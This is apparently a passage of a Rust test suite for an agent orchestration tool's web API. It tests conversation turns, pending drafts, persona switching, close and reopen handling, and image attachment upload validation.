10138 talks.clone(),
10139 home.path().join("runs"),
10140 home.path().to_path_buf(),
10141 repo.clone(),
10142 )
10143 .with_worktrees_root(home.path().join("wt")),
10144 );
10145 let cfg = config_for(&repo).await.expect("discover config");
10146 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
10147 let id = talk.id.clone();
10148 let call = |persona: &str| {
10149 talk_persona(
10150 State(Arc::clone(&ui)),
10151 Path(id.clone()),
10152 Json(TalkPersona {
10153 persona: persona.to_owned(),
10154 }),
10155 )
10156 };
10157
10158 let unknown = call("nobody").await.expect_err("unknown persona");
10159 assert_eq!(
10160 unknown.status,
10161 StatusCode::BAD_REQUEST,
10162 "{}",
10163 unknown.message
10164 );
10165
10166 {
10167 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
10170 let busy = call("rei").await.expect_err("busy talk");
10171 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
10172 assert!(
10173 busy.message.contains("a talk turn is running"),
10174 "{}",
10175 busy.message
10176 );
10177 drop(guard);
10178 }
10179 assert_eq!(talks.get(&id).expect("reload").persona, "");
10180
10181 let Json(view) = call("gendo").await.expect("switch to a configured persona");
10182 assert_eq!(view.talk.persona, "gendo");
10183 assert_eq!(talks.get(&id).expect("reload").persona, "gendo");
10184
10185 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
10186 .await
10187 .expect("detail");
10188 let ids: Vec<&str> = detail.0.personas.iter().map(|p| p.id.as_str()).collect();
10189 assert_eq!(ids.first(), Some(&"default"));
10190 assert!(ids.contains(&"rei") && ids.contains(&"gendo"));
10191
10192 let Json(view) = call("default").await.expect("back to default");
10193 assert_eq!(view.talk.persona, "");
10194
10195 let mut closed = talks.get(&id).expect("reload");
10196 talk::close(&mut closed, &talks).expect("close");
10197 let refused = call("rei").await.expect_err("closed talk");
10198 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
10199 assert!(
10200 refused.message.contains("takes no more turns"),
10201 "{}",
10202 refused.message
10203 );
10204 }
10205
10206 #[tokio::test]
10207 async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
10208 let f = Fixture::start().await;
10209 let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
10210 let queue = f.queue();
10211 let mut mine = Task::new(
10212 "rename the loader".to_owned(),
10213 "rename the loader".to_owned(),
10214 PathBuf::from("/repo/magi"),
10215 Source::Agent {
10216 run: talk_id.clone(),
10217 node: "chat".to_owned(),
10218 },
10219 );
10220 queue.put(&mut mine).expect("file the task");
10221 let mut theirs = Task::new(
10222 "unrelated".to_owned(),
10223 "unrelated".to_owned(),
10224 PathBuf::from("/repo/magi"),
10225 Source::Human,
10226 );
10227 queue.put(&mut theirs).expect("file the task");
10228
10229 let res = f.get(&format!("/api/talks/{talk_id}")).await;
10230 assert_eq!(res.status, 200, "{}", res.body);
10231 let body = res.json();
10232 assert_eq!(
10233 body["status"], "open",
10234 "filing a task does not close a talk"
10235 );
10236 let tasks = body["tasks"].as_array().expect("tasks array");
10237 assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
10238 assert_eq!(tasks[0]["id"], mine.id);
10239 }
10240
10241 #[tokio::test]
10242 async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
10243 let (_tmp, _repo, f) = talk_fixture().await;
10244 let id = f.post("/api/talks", None).await.json()["id"]
10245 .as_str()
10246 .expect("id")
10247 .to_owned();
10248
10249 let res = f
10250 .post(
10251 &format!("/api/talks/{id}/say"),
10252 Some(r#"{"text":"what does the queue module do?"}"#),
10253 )
10254 .await;
10255 assert_eq!(res.status, 202, "{}", res.body);
10256 let queued = res.json();
10257 let turns = queued["turns"].as_array().expect("turns array");
10258 assert_eq!(
10259 turns.len(),
10260 1,
10261 "the answer reflects only what is on disk the instant it is sent, \
10262 before the agent's turn - which can run for the whole of \
10263 `[graph] timeout_talk` - has a chance to land: {queued}"
10264 );
10265 assert_eq!(turns[0]["who"], "operator");
10266 assert_eq!(turns[0]["body"], "what does the queue module do?");
10267 assert_eq!(
10268 queued["thinking"], true,
10269 "the accepted response exposes the background turn claim: {queued}"
10270 );
10271
10272 let mut turns_after = 1;
10273 for _ in 0..SETTLE_STEPS {
10274 let detail = f.get(&format!("/api/talks/{id}")).await.json();
10275 turns_after = detail["turns"].as_array().expect("turns array").len();
10276 if turns_after == 2 {
10277 break;
10278 }
10279 tokio::time::sleep(Duration::from_millis(10)).await;
10280 }
10281 assert_eq!(turns_after, 2, "the agent's reply eventually lands");
10282 }
10283
10284 #[tokio::test]
10311 async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
10312 let tmp = TempDir::new().expect("tempdir");
10313 let repo = tmp.path().join("repo");
10314 std::fs::create_dir_all(&repo).expect("repo dir");
10315 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
10316 let home = TempDir::new().expect("temp home");
10317 let talks = Talks::at(home.path().join("talks"));
10318 let ui = Arc::new(
10319 Ui::new(
10320 Queue::at(home.path().join("queue")),
10321 Questions::at(home.path().join("questions")),
10322 talks.clone(),
10323 home.path().join("runs"),
10324 home.path().to_path_buf(),
10325 repo.clone(),
10326 )
10327 .with_worktrees_root(home.path().join("wt")),
10328 );
10329 let cfg = config_for(&repo).await.expect("discover config");
10330
10331 for delay in 0..40u32 {
10332 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
10333 let id = talk.id.clone();
10334
10335 let handler = tokio::spawn(talk_say(
10336 State(Arc::clone(&ui)),
10337 Path(id.clone()),
10338 Ok(Json(NewTalkTurn {
10339 text: "what does the queue module do?".to_owned(),
10340 attachments: Vec::new(),
10341 })),
10342 ));
10343 tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
10344 handler.abort();
10345 let _ = handler.await;
10348
10349 let mut turns = 0;
10350 for _ in 0..SETTLE_STEPS {
10351 if let Ok(fresh) = talks.get(&id) {
10352 turns = fresh.turns.len();
10353 if turns != 1 {
10354 break;
10355 }
10356 }
10357 tokio::time::sleep(Duration::from_millis(10)).await;
10358 }
10359 assert_ne!(
10360 turns, 1,
10361 "delay {delay}: talk {id} recorded the operator's turn but \
10362 the agent never answered - the reply task was never \
10363 started after the handler future was dropped"
10364 );
10365 }
10366 }
10367
10368 #[tokio::test]
10413 async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
10414 let tmp = TempDir::new().expect("tempdir");
10415 let repo = tmp.path().join("repo");
10416 std::fs::create_dir_all(&repo).expect("repo dir");
10417 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
10418 let home = TempDir::new().expect("temp home");
10419 let talks = Talks::at(home.path().join("talks"));
10420 let ui = Arc::new(
10421 Ui::new(
10422 Queue::at(home.path().join("queue")),
10423 Questions::at(home.path().join("questions")),
10424 talks.clone(),
10425 home.path().join("runs"),
10426 home.path().to_path_buf(),
10427 repo.clone(),
10428 )
10429 .with_worktrees_root(home.path().join("wt")),
10430 );
10431 let cfg = config_for(&repo).await.expect("discover config");
10432
10433 for attempt in 0..3u32 {
10434 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
10435 let id = talk.id.clone();
10436 let turn_guard = ui
10439 .begin_talk_turn(&id)
10440 .expect("claim the turn")
10441 .expect("a fresh talk owes nobody a turn");
10442
10443 let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
10444 let (release_tx, release_rx) = std::sync::mpsc::channel();
10445 ui.set_busy_queue_gate(BusyQueueGate {
10446 reached: reached_tx,
10447 release: release_rx,
10448 });
10449
10450 let handler = tokio::spawn(talk_say(
10451 State(Arc::clone(&ui)),
10452 Path(id.clone()),
10453 Ok(Json(NewTalkTurn {
10454 text: "what does the queue module do?".to_owned(),
10455 attachments: Vec::new(),
10456 })),
10457 ));
10458
10459 tokio::time::timeout(Duration::from_secs(5), reached_rx)
10464 .await
10465 .unwrap_or_else(|_| {
10466 panic!(
10467 "attempt {attempt}: talk {id} never reached the busy branch's queue write"
10468 )
10469 })
10470 .expect("the busy branch dropped the gate without using it");
10471
10472 let running = talks.get(&id).expect("reload talk");
10479 drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
10480
10481 handler.abort();
10485 let _ = handler.await;
10486
10487 let _ = release_tx.send(());
10493
10494 let mut fresh = talks.get(&id).expect("reload talk");
10497 for _ in 0..SETTLE_STEPS {
10498 if fresh.pending.is_empty() && fresh.turns.len() == 2 {
10499 break;
10500 }
10501 tokio::time::sleep(Duration::from_millis(10)).await;
10502 fresh = talks.get(&id).expect("reload talk");
10503 }
10504 assert!(
10505 fresh.pending.is_empty() && fresh.turns.len() == 2,
10506 "attempt {attempt}: talk {id} left the operator's text queued \
10507 with no drainer - the reclaimed turn was dropped along with \
10508 the handler future (pending {:?}, {} turns)",
10509 fresh.pending,
10510 fresh.turns.len()
10511 );
10512 }
10513 }
10514
10515 #[tokio::test]
10516 async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
10517 let (_tmp, _repo, f) = talk_fixture().await;
10518 let id = f.post("/api/talks", None).await.json()["id"]
10519 .as_str()
10520 .expect("id")
10521 .to_owned();
10522 let store = f.talks();
10523 let mut recovered = store.get(&id).expect("opened talk");
10524 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
10525 .expect("persist pending draft without a live turn");
10526
10527 let edited = f
10528 .post(
10529 &format!("/api/talks/{id}/pending/edit"),
10530 Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
10531 )
10532 .await;
10533 assert_eq!(edited.status, 200, "{}", edited.body);
10534 assert!(edited.json()["thinking"].as_bool().unwrap());
10535
10536 let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
10537 for _ in 0..SETTLE_STEPS {
10538 if detail["turns"].as_array().expect("turns").len() == 2 {
10539 break;
10540 }
10541 tokio::time::sleep(Duration::from_millis(10)).await;
10542 detail = f.get(&format!("/api/talks/{id}")).await.json();
10543 }
10544 let turns = detail["turns"].as_array().expect("turns");
10545 assert_eq!(
10546 turns.len(),
10547 2,
10548 "the recovered draft must run once: {detail}"
10549 );
10550 assert_eq!(turns[0]["body"], "corrected");
10551 assert_eq!(detail["pending"], "");
10552 }
10553
10554 #[tokio::test]
10555 async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
10556 let tmp = TempDir::new().expect("tempdir");
10557 let repo = tmp.path().join("repo");
10558 std::fs::create_dir_all(&repo).expect("repo dir");
10559 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
10560 let f = Fixture::with_repo(repo).await;
10561 let id = f.post("/api/talks", None).await.json()["id"]
10562 .as_str()
10563 .expect("id")
10564 .to_owned();
10565 let store = f.talks();
10566 let mut recovered = store.get(&id).expect("opened talk");
10567 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
10568 .expect("persist pending draft without a live turn");
10569
10570 let refused = f
10571 .post(
10572 &format!("/api/talks/{id}/say"),
10573 Some(r#"{"text":"new message"}"#),
10574 )
10575 .await;
10576 assert_eq!(refused.status, 409, "{}", refused.body);
10577 assert!(refused.body.contains("resume"), "{}", refused.body);
10578 let saved = store.get(&id).expect("draft remains after refusal");
10579 assert!(saved.turns.is_empty());
10580 assert_eq!(saved.pending, "saved before restart");
10581
10582 let say_path = format!("/api/talks/{id}/say");
10583 let (first, second) = tokio::join!(
10584 f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
10585 f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
10586 );
10587 assert_eq!(first.status, 409, "{}", first.body);
10588 assert_eq!(second.status, 409, "{}", second.body);
10589 let saved = store
10590 .get(&id)
10591 .expect("draft remains after concurrent refusals");
10592 assert!(saved.turns.is_empty());
10593 assert_eq!(saved.pending, "saved before restart");
10594
10595 let resumed = f
10596 .post(&format!("/api/talks/{id}/pending/resume"), None)
10597 .await;
10598 assert_eq!(resumed.status, 202, "{}", resumed.body);
10599 let duplicate = f
10600 .post(&format!("/api/talks/{id}/pending/resume"), None)
10601 .await;
10602 assert_eq!(duplicate.status, 409, "{}", duplicate.body);
10603
10604 for _ in 0..SETTLE_STEPS {
10605 if store.get(&id).expect("talk").turns.len() == 2 {
10606 break;
10607 }
10608 tokio::time::sleep(Duration::from_millis(10)).await;
10609 }
10610 let finished = store.get(&id).expect("finished talk");
10611 assert_eq!(finished.turns.len(), 2, "{finished:?}");
10612 assert_eq!(finished.turns[0].body, "saved before restart");
10613 assert!(finished.pending.is_empty());
10614 }
10615
10616 #[tokio::test]
10617 async fn an_image_only_recovered_draft_resumes_without_text() {
10618 let (_tmp, _repo, f) = talk_fixture().await;
10619 let id = f.post("/api/talks", None).await.json()["id"]
10620 .as_str()
10621 .expect("id")
10622 .to_owned();
10623 let uploaded = f
10624 .post_bytes(
10625 &format!("/api/talks/{id}/attachments"),
10626 &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
10627 PNG_BYTES,
10628 )
10629 .await;
10630 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
10631 let attachment = f
10632 .talks()
10633 .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
10634 .expect("attachment metadata")
10635 .expect("stored attachment");
10636 let store = f.talks();
10637 let mut recovered = store.get(&id).expect("opened talk");
10638 talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
10639
10640 let resumed = f
10641 .post(&format!("/api/talks/{id}/pending/resume"), None)
10642 .await;
10643 assert_eq!(resumed.status, 202, "{}", resumed.body);
10644 for _ in 0..SETTLE_STEPS {
10645 if store.get(&id).expect("talk").turns.len() == 2 {
10646 break;
10647 }
10648 tokio::time::sleep(Duration::from_millis(10)).await;
10649 }
10650 let finished = store.get(&id).expect("finished talk");
10651 assert_eq!(finished.turns.len(), 2, "{finished:?}");
10652 assert!(finished.turns[0].body.is_empty());
10653 assert_eq!(finished.turns[0].attachments.len(), 1);
10654 assert!(finished.pending_attachments.is_empty());
10655 }
10656
10657 #[tokio::test]
10658 async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
10659 let (_tmp, _repo, f) = talk_fixture().await;
10660 let id = f.post("/api/talks", None).await.json()["id"]
10661 .as_str()
10662 .expect("id")
10663 .to_owned();
10664 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
10665 assert_eq!(closed.status, 200, "{}", closed.body);
10666 let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
10667 .expect("serialize closed talk");
10668 for (path, body) in [
10669 (format!("/api/talks/{id}/pending/resume"), None),
10670 (
10671 format!("/api/talks/{id}/pending/clear"),
10672 Some(r#"{"expected_text":"","expected_attachments":[]}"#),
10673 ),
10674 (
10675 format!("/api/talks/{id}/pending/edit"),
10676 Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
10677 ),
10678 (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
10679 ] {
10680 let response = f.post(&path, body).await;
10681 assert_eq!(response.status, 409, "{}", response.body);
10682 }
10683 let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
10684 .expect("serialize closed talk");
10685 assert_eq!(
10686 after_clear, before_clear,
10687 "clear must not rewrite a closed talk"
10688 );
10689 }
10690
10691 const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 3 && printf ok\"]\n";
10694
10695 #[tokio::test]
10696 async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
10697 let tmp = TempDir::new().expect("tempdir");
10698 let repo = tmp.path().join("repo");
10699 std::fs::create_dir_all(&repo).expect("repo dir");
10700 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
10701 let f = Fixture::with_repo(repo).await;
10702 let id_a = f.post("/api/talks", None).await.json()["id"]
10703 .as_str()
10704 .unwrap()
10705 .to_owned();
10706 let id_b = f.post("/api/talks", None).await.json()["id"]
10707 .as_str()
10708 .unwrap()
10709 .to_owned();
10710
10711 let a = f
10712 .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
10713 .await;
10714 assert_eq!(a.status, 202, "{}", a.body);
10715 assert_eq!(a.json()["thinking"], true);
10716 let b = f
10717 .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
10718 .await;
10719 assert_eq!(b.status, 202, "{}", b.body);
10720 assert_eq!(b.json()["thinking"], true);
10721
10722 let listed = f.get("/api/talks").await.json();
10723 for id in [&id_a, &id_b] {
10724 let view = listed
10725 .as_array()
10726 .unwrap()
10727 .iter()
10728 .find(|talk| talk["id"] == *id)
10729 .unwrap();
10730 assert_eq!(view["thinking"], true, "{listed}");
10731 }
10732 let repeated = f
10733 .post(
10734 &format!("/api/talks/{id_a}/say"),
10735 Some(r#"{"text":"again"}"#),
10736 )
10737 .await;
10738 assert_eq!(repeated.status, 202, "{}", repeated.body);
10739 assert_eq!(repeated.json()["pending"], "again");
10740 }
10741
10742 const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
10745
10746 #[tokio::test]
10747 async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
10748 let f = Fixture::start().await;
10749 let id = seed_talk(&f, "20260905-000000-a1b2", "open");
10750
10751 let res = f
10752 .post_bytes(
10753 &format!("/api/talks/{id}/attachments"),
10754 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
10755 PNG_BYTES,
10756 )
10757 .await;
10758 assert_eq!(res.status, 201, "{}", res.body);
10759 let body = res.json();
10760 assert_eq!(body["name"], "shot.png");
10761 assert_eq!(body["mime"], "image/png");
10762 assert_eq!(body["bytes"], PNG_BYTES.len());
10763 let att_id = body["id"].as_str().expect("id").to_owned();
10764 assert_eq!(
10765 att_id.len(),
10766 32,
10767 "the id must never be a client-suppliable path: {att_id}"
10768 );
10769
10770 let got = f
10771 .get(&format!("/api/talks/{id}/attachments/{att_id}"))
10772 .await;
10773 assert_eq!(got.status, 200, "{}", got.body);
10774 assert_eq!(got.header("content-type"), Some("image/png"));
10775 assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
10776 assert_eq!(got.bytes, PNG_BYTES);
10777 }
10778
10779 #[tokio::test]
10780 async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
10781 let f = Fixture::start().await;
10782 let id = seed_talk(&f, "20260905-000000-c3d4", "open");
10783
10784 let svg = f
10787 .post_bytes(
10788 &format!("/api/talks/{id}/attachments"),
10789 &[("Content-Type", "image/svg+xml")],
10790 b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
10791 )
10792 .await;
10793 assert!(
10794 (400..500).contains(&svg.status),
10795 "svg must be refused: {} {}",
10796 svg.status,
10797 svg.body
10798 );
10799 assert!(svg.body.contains("SVG"), "{}", svg.body);
10800
10801 let text = f
10802 .post_bytes(
10803 &format!("/api/talks/{id}/attachments"),
10804 &[("Content-Type", "text/plain")],
10805 b"just some text",
10806 )
10807 .await;
10808 assert!(
10809 (400..500).contains(&text.status),
10810 "an unlisted type must be refused: {} {}",
10811 text.status,
10812 text.body
10813 );
10814
10815 let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
10818 let big = f
10819 .post_bytes(
10820 &format!("/api/talks/{id}/attachments"),
10821 &[("Content-Type", "image/png")],
10822 &oversized,
10823 )
10824 .await;
10825 assert_eq!(
10826 big.status,
10827 StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
10828 "{}",
10829 big.body
10830 );
10831 }
10832
10833 #[tokio::test]
10834 async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
10835 let f = Fixture::start().await;
10836 let id = seed_talk(&f, "20260905-000000-d4e5", "open");
10837
10838 let res = f
10841 .post_bytes(
10842 &format!("/api/talks/{id}/attachments"),
10843 &[("Content-Type", "image/png")],
10844 b"<html>not a picture</html>",
10845 )
10846 .await;
10847 assert!((400..500).contains(&res.status), "{}", res.body);
10848 }
10849
10850 #[tokio::test]
10851 async fn an_unknown_attachment_id_is_a_404() {
10852 let f = Fixture::start().await;
10853 let id = seed_talk(&f, "20260905-000000-e5f6", "open");
10854
10855 let res = f
10856 .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
10857 .await;
10858 assert_eq!(res.status, 404, "{}", res.body);
10859 }
10860
10861 #[tokio::test]
10862 async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
10863 let f = Fixture::start().await;
10864 let id = seed_talk(&f, "20260905-000000-f6a7", "open");
10865
10866 let uploaded = f
10867 .post_bytes(
10868 &format!("/api/talks/{id}/attachments"),
10869 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
10870 PNG_BYTES,
10871 )
10872 .await;
10873 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
10874 let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
10875
10876 let res = f
10877 .post(
10878 &format!("/api/talks/{id}/say"),
10879 Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
10880 )
10881 .await;
10882 assert_eq!(res.status, 202, "{}", res.body);
10883 let queued = res.json();
10884 let turns = queued["turns"].as_array().expect("turns array");
10885 assert_eq!(
10886 turns.len(),
10887 1,
10888 "an empty body with an attachment is still a turn: {queued}"
10889 );
10890 assert_eq!(turns[0]["who"], "operator");
10891 assert_eq!(turns[0]["body"], "");
10892 let atts = turns[0]["attachments"]
10893 .as_array()
10894 .expect("attachments array");
10895 assert_eq!(atts.len(), 1);
10896 assert_eq!(atts[0]["id"], att_id);
10897 assert_eq!(atts[0]["mime"], "image/png");
10898
10899 let on_disk = f.talks().get(&id).expect("get");
10902 assert_eq!(on_disk.turns[0].attachments.len(), 1);
10903 assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
10904 }
10905
10906 #[tokio::test]
10907 async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
10908 let f = Fixture::start().await;
10909 let id = seed_talk(&f, "20260905-000000-a7b8", "open");
10910
10911 let res = f
10912 .post(
10913 &format!("/api/talks/{id}/say"),
10914 Some(&format!(
10915 r#"{{"text":"hi","attachments":["{}"]}}"#,
10916 "a".repeat(32)
10917 )),
10918 )
10919 .await;
10920 assert!((400..500).contains(&res.status), "{}", res.body);
10921 assert!(res.body.contains("unknown attachment"), "{}", res.body);
10922
10923 let on_disk = f.talks().get(&id).expect("get");
10924 assert!(
10925 on_disk.turns.is_empty(),
10926 "a rejected attachment id must not partially record the turn: {:?}",
10927 on_disk.turns
10928 );
10929 }
10930
10931 #[tokio::test]
10932 async fn talk_close_makes_the_talk_refuse_further_turns() {
10933 let f = Fixture::start().await;
10934 let id = seed_talk(&f, "20260904-014455-cd34", "open");
10935
10936 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
10937 assert_eq!(closed.status, 200, "{}", closed.body);
10938 assert_eq!(closed.json()["status"], "closed");
10939
10940 let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
10942 assert_eq!(closed_again.status, 200);
10943 assert_eq!(closed_again.json()["status"], "closed");
10944
10945 let said = f
10946 .post(
10947 &format!("/api/talks/{id}/say"),
10948 Some(r#"{"text":"too late"}"#),
10949 )
10950 .await;
10951 assert_eq!(said.status, 409, "{}", said.body);
10952 }
10953
10954 #[tokio::test]
10955 async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
10956 let (_tmp, _repo, f) = talk_fixture().await;
10957 let id = f.post("/api/talks", None).await.json()["id"]
10958 .as_str()
10959 .expect("id")
10960 .to_owned();
10961 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
10962 assert_eq!(closed.status, 200, "{}", closed.body);
10963
10964 let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
10965 assert_eq!(reopened.status, 200, "{}", reopened.body);
10966 assert_eq!(reopened.json()["status"], "open");
10967
10968 let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
10970 assert_eq!(reopened_again.status, 200);
10971 assert_eq!(reopened_again.json()["status"], "open");
10972
10973 let said = f
10974 .post(
10975 &format!("/api/talks/{id}/say"),
10976 Some(r#"{"text":"still there?"}"#),
10977 )
10978 .await;
10979 assert_eq!(
10980 said.status, 202,
10981 "a reopened talk accepts turns again: {}",
10982 said.body
10983 );
10984 }
10985
10986 #[tokio::test]
10987 async fn talk_reopen_on_an_unknown_id_is_404() {
10988 let f = Fixture::start().await;
10989 let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
10990 assert_eq!(res.status, 404, "{}", res.body);
10991 }
10992
10993 #[tokio::test]
10994 async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
10995 let f = Fixture::start().await;
10996 let id = seed_talk(&f, "20260904-014455-ef56", "closed");
10997
10998 let deleted = f.delete(&format!("/api/talks/{id}")).await;
10999 assert_eq!(deleted.status, 204, "{}", deleted.body);
11000
11001 let after = f.get(&format!("/api/talks/{id}")).await;
11002 assert_eq!(after.status, 404, "{}", after.body);
11003
11004 let listed = f.get("/api/talks").await.json();
11005 assert!(
11006 listed.as_array().unwrap().iter().all(|t| t["id"] != id),
11007 "a deleted talk must not linger in the list: {listed}"
11008 );
11009 }
11010
11011 #[tokio::test]
11012 async fn talk_delete_on_an_unknown_id_is_404() {
11013 let f = Fixture::start().await;
11014 let res = f.delete("/api/talks/nonexistent-id").await;
11015 assert_eq!(res.status, 404, "{}", res.body);
11016 }
11017
11018 #[tokio::test]
11022 async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
11023 let f = Fixture::start().await;
11024 let (a, b, gone) = (
11025 "20260902-140501-aaaa",
11026 "20260902-140502-bbbb",
11027 "20260902-140503-cccc",
11028 );
11029 write_run(&f.runs(), a, RunStatus::Stalled);
11030 let mut review = RunState::new(
11031 PathBuf::from("/repo/magi"),
11032 "main".to_owned(),
11033 "0123456789abcdef".to_owned(),
11034 "Review the work already on branch `magi/aaaa/A`. There is no task statement."
11035 .to_owned(),
11036 Config::default(),
11037 );
11038 review.id = b.to_owned();
11039 review.status = RunStatus::Merged;
11040 write_state(&f.runs(), &review);
11041
11042 let mut task = Task::new(
11043 "retry".to_owned(),
11044 "Do the thing".to_owned(),
11045 PathBuf::from("/repo/magi"),
11046 Source::Human,
11047 );
11048 task.start(a.to_owned());
11049 task.stall("quota");
11050 task.start(a.to_owned());
11051 task.start(b.to_owned());
11052 task.start(gone.to_owned());
11053 f.queue().put(&mut task).expect("file the task");
11054
11055 let res = f.get(&format!("/api/queue/{}", task.id)).await;
11056 assert_eq!(res.status, 200, "{}", res.body);
11057 let v = res.json();
11058 let h = v["history"].as_array().expect("history");
11059 assert_eq!(h.len(), 4, "{v}");
11060 assert_eq!(h[0]["kind"], "competition");
11061 assert_eq!(h[0]["status"], "stalled");
11062 assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
11063 assert_eq!(h[1]["kind"], "resume", "{v}");
11064 assert!(
11065 h[0]["outcome"]
11066 .as_str()
11067 .unwrap()
11068 .contains("unknown. Pass #2"),
11069 "an earlier pass of a resumed run must not claim the final outcome: {v}"
11070 );
11071 assert!(
11072 !h[1]["outcome"].as_str().unwrap().contains("unknown."),
11073 "{v}"
11074 );
11075 assert!(
11076 !h[0]["outcome"].as_str().unwrap().contains("parked it"),
11077 "an unrecorded cause must not be narrated as an operator park: {v}"
11078 );
11079 assert_eq!(h[2]["kind"], "review");
11080 assert!(
11081 h[2]["description"]
11082 .as_str()
11083 .unwrap()
11084 .contains("magi/aaaa/A")
11085 );
11086 assert_eq!(h[2]["status"], "merged");
11087 assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
11088 assert_eq!(v["runs_unreadable"], 1);
11089 let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
11090 assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
11091 assert_eq!(nodes[4]["note"], "unreadable");
11092 assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
11093 assert_eq!(v["instruction"], "Do the thing");
11094 assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
11095
11096 let run = f.get(&format!("/api/runs/{a}")).await.json();
11098 assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
11099
11100 assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
11101 }
11102
11103 fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
11104 let mut s = RunState::new(
11105 PathBuf::from("/repo/magi"),
11106 "main".to_owned(),
11107 "0123456789abcdef".to_owned(),
11108 "Do it".to_owned(),
11109 Config::default(),
11110 );
11111 s.status = status;
11112 edit(&mut s);
11113 s
11114 }
11115
11116 fn flow_task(runs: &[&str]) -> Task {
11117 let mut t = Task::new(
11118 "t".to_owned(),
11119 "Do it".to_owned(),
11120 PathBuf::from("/repo/magi"),
11121 Source::Human,
11122 );
11123 for r in runs {
11124 t.start((*r).to_owned());
11125 }
11126 t
11127 }
11128
11129 fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
11130 let h = task_history(task, |id| {
11131 states
11132 .iter()
11133 .find(|(i, _)| *i == id)
11134 .and_then(|(_, s)| s.clone())
11135 });
11136 task_flow(task, &h, 5, None)
11137 }
11138
11139 fn fu(origin_task: Option<&str>) -> crate::queue::FollowUp {
11140 crate::queue::FollowUp {
11141 run: "20260901-000000-aaaa".to_owned(),
11142 origin_task: origin_task.map(str::to_owned),
11143 pr: "https://example.com/o/r/pull/1".to_owned(),
11144 findings: ["R3-1-1", "R3-1-2", "R3-1-3", "R3-1-4"]
11145 .map(str::to_owned)
11146 .to_vec(),
11147 generation: 1,
11148 }
11149 }
